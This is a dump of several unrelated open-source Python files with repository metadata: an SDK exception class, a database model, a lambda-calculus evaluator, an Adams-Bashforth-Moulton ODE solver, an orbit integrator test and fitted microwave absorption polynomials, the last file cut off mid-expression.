2022-02-05T07:48:39.000Z
fastlabel/exceptions.py
SNC-HealthcareBiz/fastlabel-python-sdk
0035edad7388305f6243a08fbc3372e74de7f311
[ "MIT" ]
16
2021-02-23T02:40:06.000Z
2022-03-17T03:23:36.000Z
fastlabel/exceptions.py
SNC-HealthcareBiz/fastlabel-python-sdk
0035edad7388305f6243a08fbc3372e74de7f311
[ "MIT" ]
null
null
null
class FastLabelException(Exception): def __init__(self, message, errcode): super(FastLabelException, self).__init__( "<Response [{}]> {}".format(errcode, message) ) self.code = errcode class FastLabelInvalidException(FastLabelException, ValueError): pass
27.363636
64
0.667774
24
301
8.041667
0.625
0
0
0
0
0
0
0
0
0
0
0
0.219269
301
10
65
30.1
0.821277
0
0
0
0
0
0.059801
0
0
0
0
0
0
1
0.125
false
0.125
0
0
0.375
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
7f158949e219ec2c7b528723bec6125303c0fdf2
441
py
Python
backend/app/model/resource_change_log.py
sartography/star-drive
c0f33378d42913c3e677e07f74eb46d7b2b82a0a
[ "MIT" ]
null
null
null
backend/app/model/resource_change_log.py
sartography/star-drive
c0f33378d42913c3e677e07f74eb46d7b2b82a0a
[ "MIT" ]
368
2018-12-18T14:43:20.000Z
2022-03-02T02:54:18.000Z
backend/app/model/resource_change_log.py
sartography/star-drive
c0f33378d42913c3e677e07f74eb46d7b2b82a0a
[ "MIT" ]
2
2019-10-02T03:06:06.000Z
2020-10-05T16:53:48.000Z
from sqlalchemy import func from app import db class ResourceChangeLog(db.Model): __tablename__ = 'resource_change_log' id = db.Column(db.Integer, primary_key=True) type = db.Column(db.String) user_id = db.Column(db.Integer) user_email = db.Column(db.String) resource_id = db.Column(db.Integer) resource_title = db.Column(db.String) last_updated = db.Column(db.DateTime(timezone=True), default=func.now())
29.4
76
0.721088
64
441
4.78125
0.46875
0.183007
0.228758
0.117647
0.186275
0
0
0
0
0
0
0
0.160998
441
14
77
31.5
0.827027
0
0
0
0
0
0.043084
0
0
0
0
0
0
1
0
false
0
0.181818
0
1
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
7f1cef291c1cb281e08310e040c017e6d7f74d84
3,257
py
Python
simple_lambda.py
nzinov/simple_lambda
e8cd2f1c3151f9876f43b0cfb9ae7682c0cca431
[ "MIT" ]
null
null
null
simple_lambda.py
nzinov/simple_lambda
e8cd2f1c3151f9876f43b0cfb9ae7682c0cca431
[ "MIT" ]
null
null
null
simple_lambda.py
nzinov/simple_lambda
e8cd2f1c3151f9876f43b0cfb9ae7682c0cca431
[ "MIT" ]
null
null
null
import string def get_free(used): """ Returns variable name that is not used yet Args: used: iterable of used variable names Returns: some unused variable name """ for el in string.ascii_lowercase: if not el in used: return el raise ValueError() class Var: """ Variable term """ def __init__(self, name): self.name = name def replace(self, var, subst): """ Return term with variable replaced by term Args: var: variable name to be replaced subst: replacement term Returns: new term """ if self.name == var: return subst return self def normalize(self): """ Returns normalized term """ return self def __str__(self): return self.name def rename(self, old, new): """ Renames variable in the term Args: old: old variable name new: new variable name Returns: new term """ if self.name == old: self.name = new def safe(self, used=None): """ Renames variables to avoid collisions between variables inside the term and variables from 'used' set Args: used: set of already used variables Returns: new term """ if used is None: used = set() used.add(self.name) class Lambda: """ Lambda term Represents term (λx.A) x - var A - body """ def __init__(self, var, body): self.var = var self.body = body def replace(self, var, subst): return Lambda(self.var, self.body.replace(var, subst)) def call(self, arg): return self.body.replace(self.var, arg) def normalize(self): self.body.normalize() return self def __str__(self): return "(λ{}.{})".format(self.var, self.body) def rename(self, old, new): if self.var != old: self.body.rename(old, new) def safe(self, used=None): if used is None: used = set() if self.var in used: old = self.var self.var = get_free(used) self.body.rename(old, self.var) used.add(self.var) self.body.safe(used) class Call: """ Function call term Represents term (A B) A - func B - arg """ def __init__(self, func, arg): self.func = func self.arg = arg def replace(self, var, subst): return Call(self.func.replace(var, subst), self.arg.replace(var, subst)) def normalize(self): self.func = self.func.normalize() self.arg = self.arg.normalize() if type(self.func) is Lambda: return self.func.call(self.arg).normalize() return self def __str__(self): return "({} {})".format(self.func, self.arg) def safe(self, used=None): if not used: used = set() self.func.safe(used) self.arg.safe(used) def rename(self, old, new): self.func.rename(old, new) self.arg.rename(old, new)
22.156463
80
0.527172
397
3,257
4.256927
0.188917
0.057988
0.033136
0.030178
0.229586
0.195858
0.04142
0
0
0
0
0
0.369665
3,257
146
81
22.308219
0.823186
0.215229
0
0.338028
0
0
0.006748
0
0
0
0
0
0
1
0.28169
false
0
0.014085
0.084507
0.521127
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
6135322d6c957d9e21557d00f111748182bb8f84
12,047
py
Python
torchdiffeq/_impl/fixed_adams.py
MaricelaM/torchdiffeq
4e070fb687167e53082a91f32e102af7f4521058
[ "MIT" ]
4,088
2018-11-14T18:59:07.000Z
2022-03-30T14:18:29.000Z
torchdiffeq/_impl/fixed_adams.py
MaricelaM/torchdiffeq
4e070fb687167e53082a91f32e102af7f4521058
[ "MIT" ]
192
2018-11-15T12:32:50.000Z
2022-03-27T11:58:12.000Z
torchdiffeq/_impl/fixed_adams.py
MaricelaM/torchdiffeq
4e070fb687167e53082a91f32e102af7f4521058
[ "MIT" ]
800
2018-11-14T23:04:51.000Z
2022-03-31T04:08:57.000Z
import collections import sys import torch import warnings from .solvers import FixedGridODESolver from .misc import _compute_error_ratio, _linf_norm from .misc import Perturb from .rk_common import rk4_alt_step_func _BASHFORTH_COEFFICIENTS = [ [], # order 0 [11], [3, -1], [23, -16, 5], [55, -59, 37, -9], [1901, -2774, 2616, -1274, 251], [4277, -7923, 9982, -7298, 2877, -475], [198721, -447288, 705549, -688256, 407139, -134472, 19087], [434241, -1152169, 2183877, -2664477, 2102243, -1041723, 295767, -36799], [14097247, -43125206, 95476786, -139855262, 137968480, -91172642, 38833486, -9664106, 1070017], [30277247, -104995189, 265932680, -454661776, 538363838, -444772162, 252618224, -94307320, 20884811, -2082753], [ 2132509567, -8271795124, 23591063805, -46113029016, 63716378958, -63176201472, 44857168434, -22329634920, 7417904451, -1479574348, 134211265 ], [ 4527766399, -19433810163, 61633227185, -135579356757, 214139355366, -247741639374, 211103573298, -131365867290, 58189107627, -17410248271, 3158642445, -262747265 ], [ 13064406523627, -61497552797274, 214696591002612, -524924579905150, 932884546055895, -1233589244941764, 1226443086129408, -915883387152444, 507140369728425, -202322913738370, 55060974662412, -9160551085734, 703604254357 ], [ 27511554976875, -140970750679621, 537247052515662, -1445313351681906, 2854429571790805, -4246767353305755, 4825671323488452, -4204551925534524, 2793869602879077, -1393306307155755, 505586141196430, -126174972681906, 19382853593787, -1382741929621 ], [ 173233498598849, -960122866404112, 3966421670215481, -11643637530577472, 25298910337081429, -41825269932507728, 53471026659940509, -53246738660646912, 41280216336284259, -24704503655607728, 11205849753515179, -3728807256577472, 859236476684231, -122594813904112, 8164168737599 ], [ 362555126427073, -2161567671248849, 9622096909515337, -30607373860520569, 72558117072259733, -131963191940828581, 187463140112902893, -210020588912321949, 186087544263596643, -129930094104237331, 70724351582843483, -29417910911251819, 9038571752734087, -1934443196892599, 257650275915823, -16088129229375 ], [ 192996103681340479, -1231887339593444974, 5878428128276811750, -20141834622844109630, 51733880057282977010, -102651404730855807942, 160414858999474733422, -199694296833704562550, 199061418623907202560, -158848144481581407370, 100878076849144434322, -50353311405771659322, 19338911944324897550, -5518639984393844930, 1102560345141059610, -137692773163513234, 8092989203533249 ], [ 401972381695456831, -2735437642844079789, 13930159965811142228, -51150187791975812900, 141500575026572531760, -304188128232928718008, 518600355541383671092, -710171024091234303204, 786600875277595877750, -706174326992944287370, 512538584122114046748, -298477260353977522892, 137563142659866897224, -49070094880794267600, 13071639236569712860, -2448689255584545196, 287848942064256339, -15980174332775873 ], [ 333374427829017307697, -2409687649238345289684, 13044139139831833251471, -51099831122607588046344, 151474888613495715415020, -350702929608291455167896, 647758157491921902292692, -967713746544629658690408, 1179078743786280451953222, -1176161829956768365219840, 960377035444205950813626, -639182123082298748001432, 343690461612471516746028, -147118738993288163742312, 48988597853073465932820, -12236035290567356418552, 2157574942881818312049, -239560589366324764716, 12600467236042756559 ], [ 691668239157222107697, -5292843584961252933125, 30349492858024727686755, -126346544855927856134295, 399537307669842150996468, -991168450545135070835076, 1971629028083798845750380, -3191065388846318679544380, 4241614331208149947151790, -4654326468801478894406214, 4222756879776354065593786, -3161821089800186539248210, 1943018818982002395655620, -970350191086531368649620, 387739787034699092364924, -121059601023985433003532, 28462032496476316665705, -4740335757093710713245, 498669220956647866875, -24919383499187492303 ], ] _MOULTON_COEFFICIENTS = [ [], # order 0 [1], [1, 1], [5, 8, -1], [9, 19, -5, 1], [251, 646, -264, 106, -19], [475, 1427, -798, 482, -173, 27], [19087, 65112, -46461, 37504, -20211, 6312, -863], [36799, 139849, -121797, 123133, -88547, 41499, -11351, 1375], [1070017, 4467094, -4604594, 5595358, -5033120, 3146338, -1291214, 312874, -33953], [2082753, 9449717, -11271304, 16002320, -17283646, 13510082, -7394032, 2687864, -583435, 57281], [ 134211265, 656185652, -890175549, 1446205080, -1823311566, 1710774528, -1170597042, 567450984, -184776195, 36284876, -3250433 ], [ 262747265, 1374799219, -2092490673, 3828828885, -5519460582, 6043521486, -4963166514, 3007739418, -1305971115, 384709327, -68928781, 5675265 ], [ 703604254357, 3917551216986, -6616420957428, 13465774256510, -21847538039895, 27345870698436, -26204344465152, 19058185652796, -10344711794985, 4063327863170, -1092096992268, 179842822566, -13695779093 ], [ 1382741929621, 8153167962181, -15141235084110, 33928990133618, -61188680131285, 86180228689563, -94393338653892, 80101021029180, -52177910882661, 25620259777835, -9181635605134, 2268078814386, -345457086395, 24466579093 ], [ 8164168737599, 50770967534864, -102885148956217, 251724894607936, -499547203754837, 781911618071632, -963605400824733, 934600833490944, -710312834197347, 418551804601264, -187504936597931, 61759426692544, -14110480969927, 1998759236336, -132282840127 ], [ 16088129229375, 105145058757073, -230992163723849, 612744541065337, -1326978663058069, 2285168598349733, -3129453071993581, 3414941728852893, -2966365730265699, 2039345879546643, -1096355235402331, 451403108933483, -137515713789319, 29219384284087, -3867689367599, 240208245823 ], [ 8092989203533249, 55415287221275246, -131240807912923110, 375195469874202430, -880520318434977010, 1654462865819232198, -2492570347928318318, 3022404969160106870, -2953729295811279360, 2320851086013919370, -1455690451266780818, 719242466216944698, -273894214307914510, 77597639915764930, -15407325991235610, 1913813460537746, -111956703448001 ], [ 15980174332775873, 114329243705491117, -290470969929371220, 890337710266029860, -2250854333681641520, 4582441343348851896, -7532171919277411636, 10047287575124288740, -10910555637627652470, 9644799218032932490, -6913858539337636636, 3985516155854664396, -1821304040326216520, 645008976643217360, -170761422500096220, 31816981024600492, -3722582669836627, 205804074290625 ], [ 12600467236042756559, 93965550344204933076, -255007751875033918095, 834286388106402145800, -2260420115705863623660, 4956655592790542146968, -8827052559979384209108, 12845814402199484797800, -15345231910046032448070, 15072781455122686545920, -12155867625610599812538, 8008520809622324571288, -4269779992576330506540, 1814584564159445787240, -600505972582990474260, 149186846171741510136, -26182538841925312881, 2895045518506940460, -151711881512390095 ], [ 24919383499187492303, 193280569173472261637, -558160720115629395555, 1941395668950986461335, -5612131802364455926260, 13187185898439270330756, -25293146116627869170796, 39878419226784442421820, -51970649453670274135470, 56154678684618739939910, -50320851025594566473146, 37297227252822858381906, -22726350407538133839300, 11268210124987992327060, -4474886658024166985340, 1389665263296211699212, -325187970422032795497, 53935307402575440285, -5652892248087175675, 281550972898020815 ], ] _DIVISOR = [ None, 11, 2, 12, 24, 720, 1440, 60480, 120960, 3628800, 7257600, 479001600, 958003200, 2615348736000, 5230697472000, 31384184832000, 62768369664000, 32011868528640000, 64023737057280000, 51090942171709440000, 102181884343418880000 ] _BASHFORTH_DIVISOR = [torch.tensor([b / divisor for b in bashforth], dtype=torch.float64) for bashforth, divisor in zip(_BASHFORTH_COEFFICIENTS, _DIVISOR)] _MOULTON_DIVISOR = [torch.tensor([m / divisor for m in moulton], dtype=torch.float64) for moulton, divisor in zip(_MOULTON_COEFFICIENTS, _DIVISOR)] _MIN_ORDER = 4 _MAX_ORDER = 12 _MAX_ITERS = 4 # TODO: replace this with PyTorch operations (a little hard because y is a deque being used as a circular buffer) def _dot_product(x, y): return sum(xi * yi for xi, yi in zip(x, y)) class AdamsBashforthMoulton(FixedGridODESolver): order = 4 def __init__(self, func, y0, rtol=1e-3, atol=1e-4, implicit=True, max_iters=_MAX_ITERS, max_order=_MAX_ORDER, **kwargs): super(AdamsBashforthMoulton, self).__init__(func, y0, rtol=rtol, atol=rtol, **kwargs) assert max_order <= _MAX_ORDER, "max_order must be at most {}".format(_MAX_ORDER) if max_order < _MIN_ORDER: warnings.warn("max_order is below {}, so the solver reduces to `rk4`.".format(_MIN_ORDER)) self.rtol = torch.as_tensor(rtol, dtype=y0.dtype, device=y0.device) self.atol = torch.as_tensor(atol, dtype=y0.dtype, device=y0.device) self.implicit = implicit self.max_iters = max_iters self.max_order = int(max_order) self.prev_f = collections.deque(maxlen=self.max_order - 1) self.prev_t = None self.bashforth = [x.to(y0.device) for x in _BASHFORTH_DIVISOR] self.moulton = [x.to(y0.device) for x in _MOULTON_DIVISOR] def _update_history(self, t, f): if self.prev_t is None or self.prev_t != t: self.prev_f.appendleft(f) self.prev_t = t def _has_converged(self, y0, y1): """Checks that each element is within the error tolerance.""" error_ratio = _compute_error_ratio(torch.abs(y0 - y1), self.rtol, self.atol, y0, y1, _linf_norm) return error_ratio < 1 def _step_func(self, func, t0, dt, t1, y0): f0 = func(t0, y0, perturb=Perturb.NEXT if self.perturb else Perturb.NONE) self._update_history(t0, f0) order = min(len(self.prev_f), self.max_order - 1) if order < _MIN_ORDER - 1: # Compute using RK4. return rk4_alt_step_func(func, t0, dt, t1, y0, f0=self.prev_f[0], perturb=self.perturb), f0 else: # Adams-Bashforth predictor. bashforth_coeffs = self.bashforth[order] dy = _dot_product(dt * bashforth_coeffs, self.prev_f).type_as(y0) # bashforth is float64 so cast back # Adams-Moulton corrector. if self.implicit: moulton_coeffs = self.moulton[order + 1] delta = dt * _dot_product(moulton_coeffs[1:], self.prev_f).type_as(y0) # moulton is float64 so cast back converged = False for _ in range(self.max_iters): dy_old = dy f = func(t1, y0 + dy, perturb=Perturb.PREV if self.perturb else Perturb.NONE) dy = (dt * (moulton_coeffs[0]) * f).type_as(y0) + delta # moulton is float64 so cast back converged = self._has_converged(dy_old, dy) if converged: break if not converged: warnings.warn('Functional iteration did not converge. Solution may be incorrect.') self.prev_f.pop() self._update_history(t0, f) return dy, f0 class AdamsBashforth(AdamsBashforthMoulton): def __init__(self, func, y0, **kwargs): super(AdamsBashforth, self).__init__(func, y0, implicit=False, **kwargs)
52.606987
121
0.71246
994
12,047
8.50503
0.560362
0.012302
0.007452
0.005678
0.039626
0.033357
0.019399
0
0
0
0
0.625993
0.195235
12,047
228
122
52.837719
0.246003
0.029302
0
0.107317
0
0
0.012586
0
0
0
0
0.004386
0.004878
1
0.029268
false
0
0.039024
0.004878
0.102439
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
6142b45ea9accc30d4508e2bbf814523a508dbe8
4,640
py
Python
src/tests/testScripts/test_scenarioIntegrators.py
ian-cooke/basilisk_mag
a8b1e37c31c1287549d6fd4d71fcaa35b6fc3f14
[ "0BSD" ]
null
null
null
src/tests/testScripts/test_scenarioIntegrators.py
ian-cooke/basilisk_mag
a8b1e37c31c1287549d6fd4d71fcaa35b6fc3f14
[ "0BSD" ]
1
2019-03-13T20:52:22.000Z
2019-03-13T20:52:22.000Z
src/tests/testScripts/test_scenarioIntegrators.py
ian-cooke/basilisk_mag
a8b1e37c31c1287549d6fd4d71fcaa35b6fc3f14
[ "0BSD" ]
null
null
null
''' ''' ''' ISC License Copyright (c) 2016, Autonomous Vehicle Systems Lab, University of Colorado at Boulder Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ''' # # Basilisk Scenario Script and Integrated Test # # Purpose: Demonstration of how to setup and use different integrators in # Basilisk. The simulation performs a 3-DOF orbit scenario. # Author: Hanspeter Schaub # Creation Date: Dec. 14, 2016 # import sys, os, inspect import pytest from Basilisk.utilities import unitTestSupport # Get current file path filename = inspect.getframeinfo(inspect.currentframe()).filename path = os.path.dirname(os.path.abspath(filename)) sys.path.append(path + '/../scenarios') import scenarioIntegrators # uncomment this line is this test is to be skipped in the global unit test run, adjust message as needed # @pytest.mark.skipif(conditionstring) # uncomment this line if this test has an expected failure, adjust message as needed # @pytest.mark.xfail(True, reason="Scott's brain no-worky\n") # The following 'parametrize' function decorator provides the parameters and expected results for each # of the multiple test runs for this test. @pytest.mark.parametrize("integratorCase", ["rk4", "euler", "rk2"]) def test_scenarioIntegrators(show_plots, integratorCase): '''This function is called by the py.test environment.''' testFailCount = 0 # zero unit test result counter testMessages = [] # create empty array to store test log messages # each test method requires a single assert method to be called posData, figureList = scenarioIntegrators.run(show_plots, integratorCase) numTruthPoints = 5 skipValue = int(len(posData)/(numTruthPoints-1)) dataPosRed = posData[::skipValue] # setup truth data for unit test if integratorCase is "rk4": truePos = [ [-2.8168016010234915e6, 5.248174846916147e6, 3.677157264677297e6] , [-6.379381726549218e6, -1.4688565370540658e6, 2.4807857675497606e6] , [-2.230094305694789e6, -6.410420020364709e6, -1.7146277675541767e6] , [4.614900659014343e6, -3.60224207689023e6, -3.837022825958977e6] , [5.879095186201691e6, 3.561495655367985e6, -1.3195821703218794e6] ] if integratorCase is "euler": truePos = [ [-2.8168016010234915e6, 5.248174846916147e6, 3.677157264677297e6] , [-7.061548530211288e6, -1.4488790844105487e6, 2.823580168201031e6] , [-4.831279689590867e6, -8.015202650472983e6, -1.1434851461593418e6] , [719606.5825106134, -1.0537603309084207e7, -4.966060248346598e6] , [6.431097055190775e6, -9.795566286964862e6, -7.438012269629238e6] ] if integratorCase is "rk2": truePos = [ [-2.8168016010234915e6, 5.248174846916147e6, 3.677157264677297e6] , [-6.425636528569288e6, -1.466693214251768e6, 2.50438327358707e6] , [-2.466642497083674e6, -6.509473992136429e6, -1.6421621818735446e6] , [4.342561337924192e6, -4.1593822658140697e6, -3.947594705237753e6] , [6.279757158711852e6, 2.8527385905952943e6, -1.8260959147806289e6] ] # compare the results to the truth values accuracy = 1.0 # meters testFailCount, testMessages = unitTestSupport.compareArray( truePos, dataPosRed, accuracy, "r_BN_N Vector", testFailCount, testMessages) # save the figures to the Doxygen scenario images folder for pltName, plt in figureList.items(): unitTestSupport.saveScenarioFigure(pltName, plt, path) # print out success message if no error were found if testFailCount == 0: print "PASSED " else: print testFailCount print testMessages # each test method requires a single assert method to be called # this check below just makes sure no sub-test failures were found assert testFailCount < 1, testMessages
41.061947
105
0.709483
534
4,640
6.155431
0.501873
0.010952
0.016428
0.024643
0.107089
0.107089
0.088226
0.069364
0.031031
0.031031
0
0.217914
0.210776
4,640
112
106
41.428571
0.679683
0.246121
0
0.117647
0
0
0.026641
0
0
0
0
0
0.019608
0
null
null
0.019608
0.078431
null
null
0.058824
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
61514f65bb45d5c3500da633bcf8d4ed24c554e2
18,338
py
Python
software/faps_hatpro.py
chpolste/MScAtmosphericSciences
52918f8452b6459cf19fc43a3103f2e37215fdae
[ "MIT" ]
2
2019-10-05T02:51:17.000Z
2020-07-18T21:39:22.000Z
software/faps_hatpro.py
chpolste/MScAtmosphericSciences
52918f8452b6459cf19fc43a3103f2e37215fdae
[ "MIT" ]
null
null
null
software/faps_hatpro.py
chpolste/MScAtmosphericSciences
52918f8452b6459cf19fc43a3103f2e37215fdae
[ "MIT" ]
1
2021-06-22T12:41:00.000Z
2021-06-22T12:41:00.000Z
from mwrt import FastAbsorptionPredictor class FAP22240MHz(FastAbsorptionPredictor): @staticmethod def gas_absorption(p, T, qvap): return (+ 2.827686459400131e-07 + 1.871726683202199e-08 * p + 2.3434541937062388e-11 * p**2 - 4.7939946415343025e-15 * p**3 - 8.645587946386048e-09 * T - 4.891309447251832e-11 * T**2 + 4.4725247544930715e-13 * T**3 + 2.947572802544414e-07 * qvap - 6.02045396489073e-08 * qvap**2 - 2.5200117880602654e-09 * qvap**3 + 3.996667952594458e-05 * T * qvap - 1.759092428260061e-05 * T * qvap**2 - 7.236299070286999e-08 * T**2 * qvap + 8.295568248804986e-06 * p * qvap - 1.0071368108220623e-05 * p * qvap**2 - 1.274282364039329e-10 * p * T - 2.869466883178585e-08 * p * T * qvap + 9.196615292327162e-14 * p * T**2 + 1.675204819012794e-09 * p**2 * qvap - 3.650459693395e-14 * p**2 * T ) @staticmethod def cloud_absorption(T): return (- 0.012504051289959761 - 0.6365695947619514 * T + 0.009383415706560235 * T**2 - 5.146662401051821e-05 * T**3 + 1.247310530454428e-07 * T**4 - 1.1283711187639004e-10 * T**5 ) class FAP23040MHz(FastAbsorptionPredictor): @staticmethod def gas_absorption(p, T, qvap): return (+ 1.6935923306793225e-07 + 3.5616891194828585e-08 * p + 2.2467055079523403e-11 * p**2 + 2.4700488018527615e-14 * p**3 - 4.6336078093182886e-08 * T + 3.945493870465806e-10 * T**2 - 1.1060438774467363e-12 * T**3 + 1.642367341457204e-08 * qvap - 1.3800968316691617e-08 * qvap**2 - 1.2628413490906576e-09 * qvap**3 + 3.776076837634348e-06 * T * qvap - 4.612702049518027e-06 * T * qvap**2 + 3.447361373937354e-09 * T**2 * qvap + 2.1043465469719207e-05 * p * qvap - 8.287685124248887e-06 * p * qvap**2 - 3.0955665910184003e-10 * p * T - 4.1515369377104944e-08 * p * T * qvap + 1.0718790741762214e-12 * p * T**2 - 3.3893062536804216e-09 * p**2 * qvap - 2.5283874097330846e-13 * p**2 * T ) @staticmethod def cloud_absorption(T): return (- 0.01269416822599817 - 0.6514541542206796 * T + 0.009580449585979952 * T**2 - 5.2424469872708455e-05 * T**3 + 1.267575105542355e-07 * T**4 - 1.1440753533990753e-10 * T**5 ) class FAP23840MHz(FastAbsorptionPredictor): @staticmethod def gas_absorption(p, T, qvap): return (+ 9.640170793329083e-08 + 2.8058605642163484e-08 * p + 2.350809194869081e-11 * p**2 + 1.887383582906832e-15 * p**3 - 3.3795040175987525e-08 * T + 3.213143885854476e-10 * T**2 - 8.014017797911741e-13 * T**3 - 2.5094030928406386e-08 * qvap + 1.5476008253421026e-08 * qvap**2 + 2.342202006246883e-10 * qvap**3 - 2.2695320281846737e-06 * T * qvap + 4.132454345297226e-06 * T * qvap**2 - 4.263768443240628e-09 * T**2 * qvap + 1.82618696845708e-05 * p * qvap + 2.2723949893221783e-06 * p * qvap**2 - 2.547787283528089e-10 * p * T - 2.5985711204704083e-08 * p * T * qvap + 6.198233348560028e-13 * p * T**2 - 3.4559131625807484e-09 * p**2 * qvap - 9.104042973653918e-14 * p**2 * T ) @staticmethod def cloud_absorption(T): return (- 0.012813716904495637 - 0.6628471726147379 * T + 0.00972511066849906 * T**2 - 5.308913394925497e-05 * T**3 + 1.2805785164800488e-07 * T**4 - 1.1530644423546275e-10 * T**5 ) class FAP25440MHz(FastAbsorptionPredictor): @staticmethod def gas_absorption(p, T, qvap): return (+ 1.3197430760312331e-07 + 6.153725244684555e-09 * p + 1.6165796100733888e-11 * p**2 - 7.425200664678519e-15 * p**3 + 1.8358728821720504e-08 * T - 1.8041517114350055e-10 * T**2 + 4.83533197305351e-13 * T**3 - 2.7823230628859297e-09 * qvap + 2.506069911339184e-08 * qvap**2 + 9.535580163631305e-10 * qvap**3 + 2.18320902146264e-07 * T * qvap + 7.345414620511151e-06 * T * qvap**2 - 1.353050810498124e-08 * T**2 * qvap + 1.0625807747723953e-05 * p * qvap + 1.6045566739769853e-05 * p * qvap**2 - 2.0243675452919447e-11 * p * T - 1.830266525600935e-08 * p * T * qvap - 1.3397960156132903e-13 * p * T**2 + 4.4887253067563127e-10 * p**2 * qvap + 1.1462134563123105e-14 * p**2 * T ) @staticmethod def cloud_absorption(T): return (- 0.01285897897820215 - 0.6758099869869527 * T + 0.009867417411925693 * T**2 - 5.359735844946866e-05 * T**3 + 1.2862964010893736e-07 * T**4 - 1.1523230999125951e-10 * T**5 ) class FAP26240MHz(FastAbsorptionPredictor): @staticmethod def gas_absorption(p, T, qvap): return (+ 1.458655215215177e-07 + 1.9247714908932814e-09 * p + 1.6361648950653643e-11 * p**2 - 6.078091606599139e-15 * p**3 + 3.072169320546266e-08 * T - 2.9564052099099155e-10 * T**2 + 7.36027661898699e-13 * T**3 + 1.6539275924583447e-09 * qvap + 2.4822018224806744e-08 * qvap**2 + 9.29056691058273e-10 * qvap**3 + 8.294521474598881e-07 * T * qvap + 7.318981529116205e-06 * T * qvap**2 - 1.2716158298423184e-08 * T**2 * qvap + 8.877509793893597e-06 * p * qvap + 1.8687651531589716e-05 * p * qvap**2 + 2.2222975488798527e-11 * p * T - 1.8355338201405644e-08 * p * T * qvap - 2.1748101195671617e-13 * p * T**2 + 1.399733669845941e-09 * p**2 * qvap + 2.4285567982117225e-15 * p**2 * T ) @staticmethod def cloud_absorption(T): return (- 0.012794596152439207 - 0.6777590327879333 * T + 0.009870887378772392 * T**2 - 5.34743076322629e-05 * T**3 + 1.2798577361826768e-07 * T**4 - 1.1433945876792377e-10 * T**5 ) class FAP27840MHz(FastAbsorptionPredictor): @staticmethod def gas_absorption(p, T, qvap): return (+ 1.5874140386840794e-07 + 3.868927002900033e-10 * p + 1.8966471710507015e-11 * p**2 - 3.872570071125401e-15 * p**3 + 3.977545532056692e-08 * T - 3.789088358976206e-10 * T**2 + 9.037998036924212e-13 * T**3 + 5.357114792376482e-09 * qvap + 2.4260498774088267e-08 * qvap**2 + 8.32474837832239e-10 * qvap**3 + 1.4188489390741262e-06 * T * qvap + 7.158240686521044e-06 * T * qvap**2 - 1.1341140957179036e-08 * T**2 * qvap + 7.2350161811725765e-06 * p * qvap + 2.1187106666947064e-05 * p * qvap**2 + 3.826554100005508e-11 * p * T - 1.865599433880466e-08 * p * T * qvap - 2.2360306122284205e-13 * p * T**2 + 2.123243364461805e-09 * p**2 * qvap - 2.1369652095414166e-14 * p**2 * T ) @staticmethod def cloud_absorption(T): return (- 0.012517719835594333 - 0.6736498266551224 * T + 0.009758582049245389 * T**2 - 5.256567516055222e-05 * T**3 + 1.2506988637727086e-07 * T**4 - 1.1106000408194291e-10 * T**5 ) class FAP31400MHz(FastAbsorptionPredictor): @staticmethod def gas_absorption(p, T, qvap): return (+ 1.8175490988306082e-07 + 5.579385004147714e-09 * p + 2.6654852382909708e-11 * p**2 - 2.2865460541771494e-15 * p**3 + 4.1818404467208876e-08 * T - 4.0241321935762144e-10 * T**2 + 9.486966569825854e-13 * T**3 + 8.23900327956076e-09 * qvap + 2.6092754347230485e-08 * qvap**2 + 7.720631962651704e-10 * qvap**3 + 2.0094784364980483e-06 * T * qvap + 7.655173134875889e-06 * T * qvap**2 - 1.1429267317228994e-08 * T**2 * qvap + 6.651881409427113e-06 * p * qvap + 2.4773931416819575e-05 * p * qvap**2 - 1.644553297773189e-12 * p * T - 1.9989916366787354e-08 * p * T * qvap - 1.229175556247584e-13 * p * T**2 + 2.4012048092749734e-09 * p**2 * qvap - 5.638705271634648e-14 * p**2 * T ) @staticmethod def cloud_absorption(T): return (- 0.011377924883314548 - 0.634178182077798 * T + 0.009059064825417034 * T**2 - 4.8058111607269094e-05 * T**3 + 1.1250595139903204e-07 * T**4 - 9.822076204433945e-11 * T**5 ) class FAP51260MHz(FastAbsorptionPredictor): @staticmethod def gas_absorption(p, T, qvap): return (+ 3.2622396296683576e-06 + 3.5310490564767994e-07 * p + 2.1014065652445055e-10 * p**2 - 3.8120438800632297e-14 * p**3 - 1.44441466990402e-07 * T - 2.2660533523960383e-10 * T**2 + 3.5119437823428502e-12 * T**3 - 6.678146234396337e-07 * qvap + 9.10791754107326e-07 * qvap**2 + 5.597998392760765e-08 * qvap**3 - 6.7937055325994274e-06 * T * qvap + 7.842172388674147e-06 * p * qvap - 1.6019492815527553e-09 * p * T ) @staticmethod def cloud_absorption(T): return (- 0.00501804615295186 - 0.293191915570351 * T + 0.0034858835573058117 * T**2 - 1.4454211575250008e-05 * T**3 + 2.3909002241293792e-08 * T**4 - 1.189357364235627e-11 * T**5 ) class FAP52280MHz(FastAbsorptionPredictor): @staticmethod def gas_absorption(p, T, qvap): return (+ 3.7360003906153748e-06 + 4.638576468369575e-07 * p + 3.109676459431987e-10 * p**2 - 5.941402351897744e-14 * p**3 - 1.0858045947583677e-07 * T - 